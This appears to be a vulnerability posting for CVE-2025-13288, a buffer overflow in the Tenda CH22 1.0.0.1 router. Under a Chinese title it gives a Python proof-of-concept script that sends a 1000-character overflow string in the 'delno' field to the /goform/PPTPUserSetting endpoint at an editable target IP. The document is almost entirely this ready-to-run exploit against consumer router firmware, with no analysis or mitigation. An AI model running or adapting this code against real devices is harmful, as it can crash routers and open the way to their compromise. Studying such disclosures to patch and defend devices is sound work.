Tenda CH22 1.0.0.1路由器PPTPUserSetting缓冲区溢出漏洞(CVE-2025-13288)

import requests # CVE-2025-13288 PoC - Tenda CH22 Buffer Overflow # Target: Tenda CH22 1.0.0.1 # Endpoint: /goform/PPTPUserSetting # Vulnerability: Buffer overflow via delno parameter target_ip = "192.168.0.1" # Change to target IP target_port = 80 url = f"http://{target_ip}:{target_port}/goform/PPTPUserSetting" # Buffer overflow payload - long string to overflow delno parameter # This is a proof of concept, modify based on actual exploitation overflow_payload = "A" * 1000 data = { "delno": overflow_payload, "page": "PPTPUserSetting", "pageid": "1" } try: print(f"[*] Sending exploit to {url}") response = requests.post(url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")